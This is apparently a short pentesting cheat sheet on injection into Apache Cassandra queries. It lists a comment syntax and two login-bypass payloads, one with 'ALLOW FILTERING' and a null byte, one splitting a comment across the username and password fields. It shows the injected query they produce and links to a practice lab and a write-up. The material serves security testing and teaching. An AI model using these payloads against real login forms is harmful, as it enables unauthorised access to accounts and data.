# Cassandra Injection > Apache Cassandra is a free and open-source distributed wide column store NoSQL database management system ## Cassandra comment ```sql /* Cassandra Comment */ ``` ## Cassandra - Login Bypass ### Login Bypass 0 ```sql username: admin' ALLOW FILTERING; %00 password: ANY ``` ### Login Bypass 1 ```sql username: admin'/* password: */and pass>' ``` The injection would look like the following SQL query ```sql SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING; ``` Example from EternalNoob : [https://hack2learn.pw/cassandra/login.php](https://hack2learn.pw/cassandra/login.php) ## References * [Injection In Apache Cassandra – Part I - Rodolfo - EternalNoobs](https://eternalnoobs.com/injection-in-apache-cassandra-part-i/)